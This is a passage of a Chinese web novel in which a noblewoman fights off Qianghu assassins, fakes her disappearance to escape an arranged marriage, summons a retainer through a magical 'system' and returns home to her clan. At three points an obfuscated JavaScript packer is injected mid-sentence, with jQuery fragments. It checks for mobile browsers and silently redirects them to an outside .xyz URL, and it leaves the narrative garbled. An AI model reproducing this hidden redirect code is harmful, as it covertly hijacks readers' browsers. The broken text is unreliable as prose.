姬昤不知道他们是谁派来的,只能一边杀敌一边猜想着。主要是这群人又不说话,不然万一带点口音什么的还能根据口音推断地方再推测背后之人。
姬昤一行人中只有月栀一人不会武,她躲来躲去的,拿根木棍子挥来挥去,最终还是跑到了边上树丛中躲起来。她深知自己手无缚鸡之力,所以不能留在其中,不然若是拖累了娘子就罪过大了!还不如躲起来等他们打完呢。
月栀躲了起来,姬昤也松了口气,至少她暂时不用担心什么了。
姬昤又一次杀了一个想要杀了她的人,这次她喘息之间发现了什么——他们的武器。
不是安朝人惯用的武器。
他们是羌胡人。
姬昤眼神一冷:“留个活口!”
但来刺杀的人有些多,姬昤一行人能打的只有五十二人,对方是他们的至少两倍多,而姬昤这边已经死了些护卫了。
天边渐渐变得昏黄,天也凉了些,偶有飞鸟的鸣叫声响起,树林中已是遍地死尸。
鲜血染红了姬昤的双眼,发髻也早已散开,发丝随风飘起和脸上的血液黏在了一起。姬昤手中长枪往前一送,没入敌人的胸膛,再拔出,敌人没了生息倒地而死。
“家主!”一群黑衣人赶紧冲了出来解决掉剩下的刺客,最后押着一个活口跪在了姬昤面前。
来人是杨妙真安排好的刺客,实则是他们自己人,只是没想到还没等他们出场就来了真的刺客。
战斗结束,月栀也赶紧跑了出来:“娘子!娘子你有没有事啊?好多血啊!”
月栀满脸担心地看着姬昤,又要哭了。
姬昤摸了摸月栀的脸,笑道:“我没事,这都不是我的血。”说罢,她将长枪往旁边一递,杨妙真立刻接过。
姬昤又拿出身上藏着的匕首,用刀尖挑起刺客的下巴,然后又用刀身贴着刺客的脸左撇右撇仔细瞧了瞧。
“长得倒是不是很像羌胡人。不会是羌胡王子派你们来杀我的吧?”姬昤笑道。
刺客面色一变:“我不知道你在说什么。”
这下不止姬昤,都笑了。
刺客恼羞成怒:“笑什么笑!败者为寇,我没什么好说的,杀了我吧!”
“能派你们来杀我的主子估计也不是什么聪明人。”姬昤嗤笑一声,“明显的口音,明显的武器,还有明显的招式,你们都快把‘我是羌胡人’写在脑门上了。”
刺客神情微滞,眼里有些不可思议,嘴里喃喃着:“不可能,不可能,你怎么听出来的,我,我明明是在大安地界长大的……”
“嗯,对,你寻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470884|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
思你也没有口音啊。”姬昤现在心情很好,甚至还能开个玩笑。
“趁我现在心情好,说出你的幕后主使,我考虑饶你一命。”姬昤又道。
刺客眼珠子转溜,一番思索之下开了口:“羌胡二王子。”
姬昤了然地点了点头,她知道,那人是羌胡王侧妃的儿子,今年好像十九岁,听传闻说长得肥头大耳的,走几步路大地都能跟着颤抖。
“那我要嫁的是谁?”姬昤又问。
羌胡只说让她嫁王子当王子妃,可却从来没说过要嫁哪个。羌胡可有五个王子呢。
“大王子。”刺客回答。
姬昤瞪大了眼睛。
大王子?
那个已经二十五岁有五个小妾、三儿一女的暴力狂?听说他原本有个妻子的,但被他打死了,然后就一直没人敢嫁他,要不是因为他是羌胡王后的儿子,怕是小妾都纳不到。
她还以为她要嫁的是羌胡四王子呢,也是羌胡王后的儿子,年岁与她相仿,也才十六。没想到啊,竟让她嫁大王子。
“我已经说了,你也要放了我。”刺客说道。
“可以。”姬昤看了眼押着他的两人,两人也松开了手,刺客站了起来离去,还时不时回头看一眼,就怕姬昤是骗他的。
不过姬昤确实是骗他的。
一根箭矢没入刺客的身体里,他瞪大了双眼,缓缓回头看向姬昤,嘴巴动了动,什么也没说出来便倒下没了气息。
姬昤敛去眼里的不忍,这已经是她不知道第几次杀人了。她想,她应该习惯的,以后这样的日子还多着呢。
“笨,你是刺客,说实话就放了你这种话还会信?”姬昤喃喃着。
“家主,接下来怎么做?”杨妙真问。
“这附近是不是有个山谷?”姬昤看向杨妙真安排好来的“杀手”,其实就是她那五百四十中的人。
“是,就在三公里外,我们已经探查过了,很隐秘,没有人的踪迹。”林大柱回答。
姬昤看着一地的尸体,说道:“把这里弄得更乱些,还有牺牲的那些护卫,记下他们的名字,回去后把补偿给他们的家人。”
“喏。”杨妙真和月栀二人应道。
杨妙真他们负责把现场弄更乱,月栀负责记下牺牲的护卫的名字,这些人月栀都认识。
“呀!我的烤鸡!”月栀余光瞥见地上的烤鸡已经裹满了灰尘泥土和血液,大叫一声,欲哭无泪。
杨妙真正在忙,听到月栀的声音回头望了眼:“没事,改天再烤一个给你。”
“好吧。”月栀瘪瘪嘴,然后去记名字。
“娘子,日后这样的日子多吗?”月栀跟在姬昤身边问道,整个人心不在焉的。
“多,未来是乱世,死的人只会比现在还要多。”姬昤回答。
“啊……这些人我都认识,可转眼这些人就死了。”月栀有些伤心。
“月栀,和平就是会死人的。”姬昤忍不住说道。
“是吗?可是为什么会这样呢?”月栀不懂,月栀想不明白。
“所以,为了更长久的和平,月栀,我们要学会心狠。”姬昤看向远处没有回头,就像这条路开了弓就回不了头了。
37.归家
安定郡主的出降队伍失踪了,整整五日,毫无讯息。
羌王怒斥为何郡主还未到羌胡,大安皇帝也疑惑为何郡主还未到,结果一查一问,郡主遭受刺杀失踪不见,遍地都是尸首血液,而刺客的背后主使竟是羌胡二王子。
大安皇帝怒斥羌胡不仁不义,前脚迎娶他大安郡主,后脚就派人刺杀,而原本愤怒的羌王顿时熄了火,送了许多牛羊进行赔罪,并且承诺会严惩二王子。而这时,大安皇帝却放话——“若七日内再找不到安定郡主,此婚事便取消。”
姬昤听到这个消息的时候还有些惊讶。
狗皇帝怎么突然这么好了?良心发现了?
“娘子,杨娘子做的烤鸡好好吃啊!”月栀坐在姬昤身边,吃得满嘴流油,满脸的享受。
“嗯,好吃就多吃些。”姬昤敷衍地回应了一句,然后放空自己开始发呆。
其实她正在和脑海里的系统说话。
“系统,你不会只有颁布任务然后成功就发奖励的功能吧?没有其他利我的功能了吗?你伟大的宿主我现在急需一个刺客!”姬昤。
“你想干什么?”
“你应该不止这点儿功能吧?”
“……恭喜宿主发现了隐藏功能!宿主完成任务数量三,获得抽奖机会三次!”
“……我不问你是不是不打算告诉我了?”
“没错,本系统出厂设定就是这样,不问就不说。”
“……抽奖吧,抽三次。”
“指针正在转动……抽奖三次……恭喜宿主获得全域地图使用次数×2,刺客聂隐娘!聂隐娘正在赶来的路上,请宿主注意查收。”
姬昤眼睛微微睁大,聂隐娘?
“你还能把虚构人物弄出来?狗系统你厉害啊!”
“……请宿主不要辱骂系统,系统会非常伤心,并且可以拒绝继续为您认真服务。”
“好好好,我错了,我不是故意的。现在可以继续回答我了吗?”
“……本系统不是只能使历史人物出现到宿主身边,不过正常任务中一般不会出现虚构人物,大概率会在抽奖池中抽出。”
“哦~那我完成什么任务你可以奖励秦始皇到我身边?”
“你疯了吧??你还想不想登基?你不想要皇位我赶紧换个人,我的天呐!”
系统震惊了,嗓音都拔高了,说话听起来都像个人了。
“嘿嘿,开个玩笑活跃一下气氛,我又不傻,真要有始皇陛下我还登什么基啊?皇位我第一时间拱手相送!”
“对了,那个全域地图是什么意思?可以让我直接看安朝整片疆域的地图吗?”姬昤又问。
“全域地图非常珍贵且难得,宿主运气非常好,第一次抽奖就能抽到。请宿主谨慎使用。”
“是吗?这么珍贵那我还是留着吧,等非常需要了再用。”
“……你现在不试一下吗?”
“你都说非常珍贵了我试什么?不敢试,怕下次抽不到了。”
“你不用一次怎么知道怎么使用?”
“也对哦!唉,都是跟你待久了,我都变傻了。”
“黄牌警告?”
“嘻嘻!”
姬昤停止了和系统的交流,然后打开了全域地图,紧接着一块巨大的地图出现在了姬昤眼前的空中,上面显示了安朝和周边一些国家的疆域,并且细分了例如什么州、郡之类的,地图上还表现出了所有地方的地势,盛产什么都标明了,更重要的是,上面竟然标明了各个地方势力——例如皇帝和安家,显示了皇帝的小头像在建康,又比如江夏王的小头像在江夏郡,还有庐陵王、郁林王、涪陵王、中山王、广汉王、江阳王等,还有一些大家族等等。
姬昤不禁伸出手去触碰了一下地图,却意外发现这个地图可以放大看,地图会变得更细致!
姬昤惊呆了,也傻眼了。
怪不得系统说全域地图非常珍贵,这可太珍贵了!
姬昤身边的月栀将姬昤对着空气点了点去的不知道在干什么很是疑惑,她不禁更靠近了些,问:“娘子在干嘛呢?”
姬昤一边仔细看着地图一边轻推了下月栀:“吃你的烤鸡去,我有点事要自己待会儿。”说罢起身走到了角落里坐下,背对着大家开始戳戳点点。
月栀不禁看向杨妙真:“娘子嫌弃我了?”
杨妙真指了指月栀沾满油脂的手,月栀低头看了眼,大叫一声:“怪不得!”
角落里,姬昤正在查看地图,此时上面也显示了他们的位置。
姬昤放大了自己所在的位置,这个地方叫月亮谷,她仔细看了,确实是个躲避的好地方,如果没有地图真是进来困难出去更难,正好,方便了他们躲避,暂时让人找不到他们。
姬昤一点一点地仔细看着地图,试图记清地形地势和所有势力范围,不知不觉中,太阳就要落山了。
他们来到月亮谷躲避之前将马车拆解了,然后落了车轮和几块木板在悬崖边上制造出了坠崖的样子,然后他们一边退进月亮谷一边清扫掉路上的痕迹。剩下的板子被他们淋湿和早就带着的东西一起做成了简易帐篷,虽然不够,但轮流睡也差不多了。
已经是姬昤等人躲进月亮谷的第三天了,外面也找了他们三天,主要是羌胡的人在找,因为他们着急,不能赔了牛羊还带不回一个女人。
不过姬昤一点儿也不着急,她在等,等到皇帝给的期限一过她再回到粟邑,对外就说他们一直在逃避追杀,逃了很久,没有法子才一路逃回了粟邑。
所以姬昤在记一条路线——能够让他们一行人较为隐秘地回到粟邑县的路线。
一共一个时辰左右,地图出现了一个时辰就自己渐渐消失没有了,姬昤一查,她的全域地图使用次数只剩下一次了,看来这个地图的使用是限时的。
天渐渐黑了,火堆燃了起来,这时,一个女子悄无声息地摸进了月亮谷。
“属下聂隐娘见过主公。”来人站在姬昤面前,单膝跪地,说道。
姬昤扶起聂隐娘,仔细看了看她的脸和身形,个子一般,跟她差不多,容貌普通,眼神锐利而坚定,浑身散发出一股坚韧、神秘的气息。
一旁的杨妙真和月栀凑了过去。
“娘子,这又是谁啊?月栀不认识。”月栀眨了眨眼。
杨妙真没说话,却有着和月栀一样的疑惑,不过她却下意识地觉得此人亲切,感觉像是朋友,但听她也喊“主公”,她想,这人跟他们是一样的,都是效忠于主公的,那便是同僚。
“聂隐娘。”聂隐娘朝月栀点了下头。
“我叫月栀,是同娘子一起长大的。”月栀。
聂隐娘眼神微变,看月栀的目光柔和了些。
“你同我来,我有事要交代给你去做。”姬昤看向聂隐娘,接着二人走到一边。
二人不知道说了什么,月栀和杨妙真二人只见聂隐娘神色严肃地点了点头,转身就离开了月亮谷。
一行人在谷里待够了日子就离开了,姬昤这段时间也摸清了月亮谷,这个地方不错,以后占下来种东西,太合适了,产量一定会很高的。
四月中旬,姬昤等人回到了粟邑,还特意扮成了一路受难回来的,每个人都或多或少有些小伤,而且每个人都风尘仆仆的。
而这时,皇帝已经宣布大安和羌胡的婚事取消,这也是三天前的事了。姬昤并没有选择取消当天就回来,不然有点太巧合了,不太好解释。
姬家主姬昤又回来了。
粟邑县的百姓们聚到了城门口的位置,一个个喜出望外,叽叽喳喳地不停问姬昤话,有关心她身体健康的,有关心她近来如何的,也有关心她到哪儿去了有没有事的。
姬家一些人,例如姬父姬母还有大房的都在,卫子夫也安静地站在姬左手覆于右手之上父姬母身边。
“恭迎家主归家。”卫子夫声音温和却有力量,她右手在外,掌心向下,左手在内,掌心向上,两手相合,身子微微蹲下,脑袋微垂,姿态恭敬。
接着,卫子夫抬眸看向姬昤,然后走上前,继续说道:“家主一路逃命回来辛苦了,府中每日都会备好热汤膳食,就待家主有朝一日归来。”
姬昤略微有些惊讶,她以为她“失踪”的这段时间家主之位已经不是她的了,没想到那些族老们竟然这么安分没有夺她的家主之位?稀奇,真是稀奇。
姬昤接收了卫子夫的眼神,然后做出一副劫后余生的疲惫模样下了马,走上前抓住卫子夫的手,看起来虚弱极了。
“带我回家……”她的声音听起来有些沙哑,似乎有段时日没喝过水了。
卫子夫扶着姬昤上了姬家的马车,接着百姓们散去,其他人跟了上去。
马车内。
“这里有皇帝的人?”姬昤低声问道,完全没有刚才在外面的虚弱疲惫模样。
卫子夫点头:“皇帝自家主遇刺失踪后便派了人来粟邑,待会儿怕是要去姬府问您些话了。”
“嗯,知道了。”姬昤应声,然后问道,“我离开粟邑也差不多有一月了吧?家主之位还在我手里吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16478940|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?那些族老没吵着换家主?”
她可不信那些族老能那么老实。
“吵了,您走的第一日便吵了。只不过……”卫子夫微微一笑,脸上流露出自信的神色,“属下不会让姬家任何人抢了属于您的家主之位,除非您亲口说了要将家主之位传于谁。”
“你……你做了什么?”姬昤好奇问道。
卫子夫微微抬起头看向姬昤,脸上笑容依旧:“自是让那些蠢蠢欲动的人歇了心思,安分守己。”
多的话卫子夫却没再说,只是微笑着看着姬昤:“家主平安归来,如今婚事又被取消,恭喜家主,心愿达成。”
姬昤嘴角微勾:“是啊,亏得我没选错方法。不过我倒是没想到皇帝竟会取消这婚事,唉,他虽昏庸了些,但对上异族时就会把脸面看得比什么都重要,羌胡既想要割地又想要开市还想要迎娶大安贵女,这等于在皇帝的脸上连扇三个巴掌,如今有机会硬气起来找回些面子他怎会放弃?”
“对了,我前几日又收了个属下,她叫聂隐娘,我派她去了羌胡办点事,估摸着几个月后才会回来。”姬昤又道,然后问,“你近来武习得如何了?与我过招你能撑几招?”
卫子夫不好意思地笑了笑:“属下只会些骑术,不过锻炼了些日子力气变大了些。其余的……真的不行。”
“也罢,强身健体就行,旁的不多要求你。既如此,不如你随谢先生学习,同霍光一起,日后你还要替我分忧呢,我可不能离了你。”姬昤笑道。
卫子夫看着姬昤,眼神感动:“喏,属下定会尽心竭力为家主分忧。”
众人回到了姬府。
姬昤似乎发现了点什么——好像大家看卫子夫的眼神都有些惧怕。
真不知道卫子夫在她不在的这段时日里都对姬家人做了什么,竟让大家这么怕她!而且还能让族老们都站在姬府大门处等她回来!
“恭迎家主……”族老们齐齐喊着,各个都很不情愿,可在接触到卫子夫的目光时又继续说了下去,“……归来。”
姬昤不禁看了眼卫子夫,只见卫子夫对着姬昤笑了笑,笑容一如既往地温柔,没有任何不妥。
姬昤更好奇了,卫子夫到底做了什么?
卫子夫先下了马车,然后伸出手扶着姬昤下来,姬昤又装作了受伤的疲惫模样,脚步虚浮、脸色苍白——她特意擦白的。
“没想到家主半月竟然能安全回来,听说羌王派了不下千人寻你,竟一点儿你的踪迹都未寻到。”一个族老狐疑地看着姬昤,说道。
姬昤微微皱眉、扶额:“竟不想羌胡二王子这么容不下我,派了人来杀我,后来……”姬昤做出思考状。
“后来我们好像逃到了一个山谷内,想着休整一番,结果发现出口难寻,就在里面多待了些时日,好在我们还是出来了。”
“苍天有眼,定不会让家主遭受劫难,因此能够平安归来。”卫子夫说罢看向众族老,“家主累了,需要休息。”
族老们自然地让开了一条路,姬昤眼神微愣,然后由卫子夫扶着进入了府中。
英兰苑。
卧房。
姬昤洗漱好就上了床,倚靠在床头。
“家主不是问我做了什么吗?”卫子夫淡淡一笑,“对付那些族老就该用些强硬的手段。这段时日我一直让卫青留在府中,谁敢妄言……掌、嘴!”
姬昤顿时瞪大了双眼,什、什么?掌嘴?
“他们不闹?”姬昤反问。
卫子夫低声笑了几声:“闹?那就多打几巴掌。反正我们姐弟二人不是姬家人,他们怎么闹?把我们赶走?家主您的人可都还在粟邑呢,他们一见那么多人瞪着他们,还一个个凶神恶煞的,无人敢闹。毕竟年岁都大了,安享晚年不好么?没人想先下去。”
姬昤“噗嗤”一声笑了:“没想到啊,我一直想的用武力统治整个姬府还没做你便替我做了,怪不得我回来后瞧大家看我的眼神都有些怪怪的。”
“家主……”卫子夫眼神可怜,她柔软的双手轻轻握住姬昤的双手,“家主可会怪我?那毕竟是姬家人,而我说到底也不过是外人。”
姬昤抽出一只手轻轻拍了拍卫子夫的手,柔声道:“我怎会怪你?你帮我巩固了家主之位,我谢你还来不及呢!”
卫子夫笑了,两眼弯弯,温柔又可爱。
这时,门被敲响,月栀的声音响起——
“娘子,府上来了几个人,说是皇帝派来的,有些话要问娘子。”
姬昤和卫子夫对视了眼,来了!
38.接风洗尘
姬昤换好了衣服来到前厅,里面坐着三个生人都是她没见过的,她想,这应该就是皇帝派来的人了。
三人见姬昤来了,缓缓起身。
“见过安定郡主。”三人行礼说道。
“不必客气了,听闻你们有些话要问我,问吧。”姬昤神色疲倦,看着好像是体力不支一屁股坐在了椅子上懒洋洋地靠着。
“见谅,多日逃命又受了伤,一时间有些站不住。”她又道。
三人仔细打量了一番姬昤——面色苍白,双眼无神,就连唇色都发白了。
其实是姬昤故意涂的。
“受伤?昤昤,快让阿耶瞧瞧伤着哪儿了?严不严重?”姬父一个箭步冲向姬昤,围着姬昤看了起来。
姬母更是坐在姬昤身边的椅子上抓着姬昤的手低声哭泣着,无声地诉说着她女儿的不幸遭遇。
三人对视了眼,有些怀疑地看着姬昤。
“请问郡主伤着哪儿了?”一人问道。
他左看右看也没看出伤口,亦没有包扎的痕迹。
姬昤一手摸向自己的腰间:“这里被刺客划伤了,你们要看吗?”说着就要去扯衣服。
那人连忙制止了:“不不不不必了!”
姬昤叹了口气,收回了手,似乎还有些遗憾的意思。
“不知郡主这段时日都是怎么过来的?羌王派了千人寻找竟未找到郡主一分一毫,甚至还说郡主已经……”那人顿了顿,“坠崖而亡。”
姬昤一只手握拳置于嘴前咳了几声,一副弱柳扶风的娇弱模样:“唉,我们确实逃到了悬崖边,不过却有几个护卫为了救我和马车一起坠崖了,我们剩下的人继续逃,逃啊逃,也不知怎么跑的,竟然进了一处山谷,不曾想这山谷出去的路难寻,我们在里面待了好几日才找到了出路。”
那人又问:“郡主可否说一说当时遇刺时发生了什么吗?”
姬昤开始回想当日的情形,还不禁打了个哆嗦。
“那日我们本是要停下休息休息的,却突缝刺客,我带的那些护卫竟不敌刺客,这才一路逃亡。我听那些刺客的口音便知他们是羌胡人,他们嘴里还说什么‘二王子’,我这才知道原是他们二王子不愿看到大王子迎娶我与大安有联系这才痛下杀手。得亏我有众多护卫护着,否则我也难逃一死。”
姬昤泫然欲泣,配上苍白的面色,整个人柔弱可人。
“确实如此,羌王也传了消息给陛下,此事尽是羌胡二王子一人所为,他已经罚了二王子,也给了大安赔偿,希望大安不要再计较,莫要伤了两国的和平。”那人说道。
姬昤垂首敛眸,掩去眼里的冷意,然后抬起脑袋,用泪眼汪汪地眼睛看向三位使者:“后来呢?陛下怎么说?我们一路逃命回来,好像听闻陛下……取消了我们的婚事?莫不是因为此事才取消的?”
“正是。羌胡求娶我大安贵女却冒出刺杀之事,我大安怎能容忍?陛下怎能容忍?”一人说道,然后退后一步朝姬昤行了个礼,“既然郡主已平安归来,我等就回建康复命了。”
“三位不再多待几日了?我女儿平安归来,晚些还有接风宴,不如留下吃了晚膳好好休息一晚明日再走也不迟啊。”姬父挽留了几句。
“不必了,我等任务既已完成,现下也该回去复命了,我等在粟邑逗留的日子也有些长了。告退。”说罢,那三人转身离去,姬父赶紧叫管家去送了。
三人一走,姬父姬母就赶紧让月栀把姬昤送回房中休息。
晚上,姬府摆了几桌子好酒好菜给姬昤接风洗尘。姬府还多做了些菜分给了附近的百姓,说是让大家沾沾姬家家主姬昤大难不死的喜气。
桌上,大房的几个小孩子都眼巴巴地看着姬昤——姬呈的两女一儿、大房已逝的三郎君的一儿一女,还有大房的十七娘子,六个孩子,最大的九岁,最小的不过五岁。
“姑母姑母,那山谷里有大虫吗?”姬呈的小儿子看着姬昤,问道。
“姑母姑母,大虫是吃人的对不对?我阿母总说我要是不好好跟着先生学习就让大虫来吃了我!”说话的是大房三郎君的儿子,旁边还坐着一个跟他长得几乎一模一样的小姑娘,这俩是龙凤胎。
他俩的阿母王氏一把捂住了儿子的嘴,尴尬地笑了笑:“稚子胡言,听听就好了。”
其余人都笑了,气氛和乐融融。
“阿姊,他们说你伤着腰了,是不是很疼?伤口大不大?要紧吗?”十七娘子脆生生的声音响起,语气里是对姬昤的关心。
姬昤下意识捂了下自己的腰,她该怎么说呢,她确实伤到腰了,可不是敌人划伤的,只是不小心被树杈子刮伤的。
“不要紧的,好好休息几日便能好了。”姬昤说。
“不要紧就好。”十七娘子接着又指了下桌上其中一盘糕点,眼神亮晶晶的,“阿姊离家多日,好不容易回来了,要不要尝尝这糕点?”
姬昤的眼神在十七娘子和糕点之前徘徊了会儿,然后猜测地问道:“这是你做的?”
十七娘子笑着连连点头。
“那我可得好好尝尝。”姬昤说着夹起一块糕点咬了一口细细品尝着。
在十七娘子期待的目光之下,姬昤笑着点了点头,夸道:“很好吃。”
十七娘子明显松了口气,脸上笑容更多了:“我就说好吃,阿母和阿兄还总跟我说别让我拿出来献丑。”说罢瞪了眼自己阿母和阿兄。
“你还好意思说?你自己说说你第一次做的时候是什么味道?”姬呈反瞪了眼回去。
十七娘子不好意思地笑了笑。
姬大夫人解释道:“她呀,把第一次做的糕点拿来给我和呈儿吃,结果给我们吃坏了肚子,还让大夫来瞧过了。”
十七娘子羞红了脸:“阿母您别说了,尽让我在阿姊面前丢脸了!”
姬昤笑了:“无碍无碍,第一次做难免会有疏漏,做得多了自然就会了。”
姬昤又问:“对了,芮妹妹可有跟谢先生学习?女子也不能只是学些琴棋书画,也要多看点书——四书五经,大学中庸什么的,亦或者习武,不为上阵杀敌也为强身健体。”
不等十七娘子姬芮说话,旁边桌上的一个族老嗤笑了声,嘀咕着:“女子便好好相夫教子就可了,还学什么武?看四书五经?多看看女则女训吧。”
姬芮脸上笑容微滞,她刚想说有,可听到这些话不免又垂下了脑袋,像是做错了事情一样。
姬昤看了眼失落的姬芮,然后看向了说话的那族老,卫子夫就坐在姬昤身边,眼神也一起飘了过去。
“此话差矣,若我姬家女人人如此,姬家迟早灭族。”姬昤冷声道。
“家主所言甚是。您老人家觉得呢?”卫子夫也说道。
那族老顿了顿,清了清嗓子,又下意识地抚了下自己的脸,说道:“方才吃醉了酒说了些胡话,年纪大了,总会说些怪话,莫要放在心上。”
“嗯,吃醉了吃醉了,我们吃我们的聊我们的,你们吃你们聊你们的。”又一个族老赶紧说道,还瞥了眼卫子夫,眼神怪异。
气氛又变得和谐起来。
姬昤隐约发现不仅族老那桌,她现在坐的这桌大家看卫子夫的眼神都怪怪的,有害怕的,有憋笑的,有崇拜的,也有习以为常的。
看来卫子夫带着卫青扇的大嘴巴子非常管用。
接着姬昤又发现孩子们看她和卫子夫的眼神都是亮晶晶的,里面写满了崇拜,尤其是姬芮,眼神都要溢出来了。
接风宴结束后,姬昤回到了她的书房,众属下齐聚,五百死士由林大柱和陶婉为代表在这,吴常、罗则也都在。
“这段时间粟邑如何?”姬昤问。
“军事一切正常,大家经过这段时间的短训都有所提升。”妇好说道。
她和卫青现在主要待在军队,配合常胜将军管理训练军队,但前段时期家主不在,卫青被卫子夫叫走整顿姬家,所以主要是她在军队待着。
“有秦大人在,我们的训练情况也不错。”吴常回答,而他说的“我们”正是他那一批来的人和罗则那一批人,秦大人就是秦良玉。
秦良玉对吴常和罗则二人点了下头,比他们二人还要略高一点的个头给秦良玉更添了气场。
“我们一如既往,无甚变化
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16501125|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”陶婉。
林大柱和杨妙真就不用说了,他们跟着姬昤一起在出降队伍里。
“孩子们文武学习情况都很不错,这里的孩子很好学,也很肯学,出挑的孩子也有不少。不过属下发现这里的孩子更擅武。”冼英。
“农事上家主也不必烦忧,庄稼农物长势很好,今年或有丰收之象,尤其是家主带大家种下的土豆一物,长得格外好。”卫子夫缓缓说道,“至于姬家家事……家主也知道了,属下便不多说了。”
……
听着大家事无巨细地汇报着她不在的这段时间的大大小小事情,姬昤认真地听着,时不时点个头。
这时,罗则开口了:“家主,建康宫内传来消息,近来柔夫人,也就是羌胡的柔云郡主似乎特别受宠,陛下有意晋她为贵嫔,不过被皇后拦下了,为此帝后还生了嫌隙。”
“还有,柔夫人虽受宠,但提及羌胡,陛下还是三思而后行的,并没有听柔夫人一人之言再嫁一个公主过去。”罗则又道。
“嫁公主?”众人都震惊了。
前脚要嫁过去一个郡主,结果遭了刺杀“坠崖身亡”,后脚竟然还撺掇皇帝把他的女儿嫁过去?这柯柔云是不是太蠢了点?
“结果呢?陛下没有惩罚柔夫人?”姬昤疑惑问道。
罗则扫了眼大家疑问的目光,缓缓摇头:“没有,陛下只是沉默了会儿驳回了柔夫人的话,没有发怒,柔夫人宠爱依旧。”
“狗皇帝莫不是疯了?他一共只有两个适龄的女儿,一个皇后所生,一个最受宠的贵嫔所生,他竟然没有对柔夫人发怒?那柔夫人到底做了什么?”吴常满脸的不可思议。
他虽然生活在建康以外的地方,不了解皇室之事,但也知道当今陛下最宠爱他的两个女儿,给她们挑驸马都挑花了眼,觉得谁都不好,他自然而然也就知道两个公主了,可现在狗皇帝竟然在这时不生气了?
“家主,我等怕是要早做打算了,陛下或许已被柔夫人迷了双眼,如今竟然连皇后的脸面都不给了,日后还不知会做出什么事来。那柔夫人毕竟是羌胡人,定有异心。”罗则声音严肃。
姬昤思索了番,然后道:“让你弟弟多加注意宫中情况,但有一点儿情况定要传消息与你。不过,他在天子身边当差,让他万事小心,若危及性命便不要传信了。”
罗则眼神微动,心中感动:“喏!”
接着,姬昤又道:“对了,前些日子我新收了一个属下,她叫聂隐娘,妙真已经认识她了。她如今在外替我做事,过段时日才会来,届时大家都认识认识。”
“喏。”众人应声。
门打开了,门口守着的已经困得迷迷糊糊的月栀一下子惊醒,她瞧着大家一个一个走了出来,不禁问道:“你们都聊完了?”
几人“嗯”了一声。
卫子夫想了想还是说道:“月栀姑娘,我知晓你与家主一同长大情同姐妹,但今时不同往日,日后若是再需要你为家主守门,万不可睡着了,或许……大家的命都掌握在你手上了。”
“你!”月栀鼓起嘴巴瞪着卫子夫,可转眼就泄了气,“……知道了,我今日实在是有些困,日后不会了。”
她虽然讨厌这个卫子夫总是和她争娘子的宠爱,但卫子夫说得对,她错了就是错了,说她错了她得听着且改了,不能像卫子夫说的那样,若是真是因她害了娘子的命,她把命赔上都不够。
姬昤捏了捏月栀圆了些的脸蛋:“月栀还小,孩子心性,也莫要太苛责她了。”
月栀感动得不行,恨不得整个人钻到姬昤怀里去聊表忠心。
卫子夫淡淡一笑,似是有些无奈:“娘子,月栀与您同岁,已不是孩子了。”
姬昤张了张嘴还想说些什么,最终还是什么都没说,只是摸了摸月栀的脑袋,眼里有些无奈。
月栀看懂了那个眼神,虽然娘子什么也没说,但她要知趣,不能再傻乎乎的了。
不过……
月栀摸了摸自己的脸,好像圆了些?
这不能怪她,谁让杨娘子烤鸡弄得那么好吃?
对,都怪杨娘子手艺太好了。
39.羌胡乱了
安定郡主姬昤平安归至粟邑的消息传遍了大安,羌王还派人来表示想继续这个婚事却被皇帝一口否决。
皇帝毕竟还是皇帝,先前割地开市已经让他很没面子了,如今婚事都已经取消了,羌胡还来要,他大安还当什么大国?
羌胡人见皇帝态度实在坚决也就作罢不再提及,灰溜溜地回到了羌胡。
粟邑县。
快到四月下旬了,姬昤带着底下一些人还有许多老百姓们又发现了一个好吃的粮食——番薯——就在上次挖土豆的山里,就在上次挖土豆的旁边挖了出来。
“这东西长得红红的,不如就叫红薯吧?”姬昤看向众人,手里拿着还带着土的番薯,神色和语气都十分自然。
姬昤系统奖励的众属下倒是没有任何异议,罗则虽然有疑惑但也很聪明地没有开口问出,吴常抓了抓脑袋满脸不解。
“上次好像是在这挖出的土豆,怎么上次咱们没发现红薯?”他百思不得其解。
姬昤一个眼神幽幽地瞟了过去,吴常差点以为自己看错了,再仔细看姬昤神色一切正常。
“这都过去一个月了,说不定这东西比土豆长得晚,上次来要么还没有要么太小了我们都没注意到。”姬昤解释道,接着睁眼说瞎话,“这玩意儿看着跟土豆差不多,估计也能吃,大家伙都努力挖,回去煮了吃吃看,若真能吃就能种了!”
百姓们疑惑的眼神也逐渐消失,每个人看着姬昤都很崇拜。
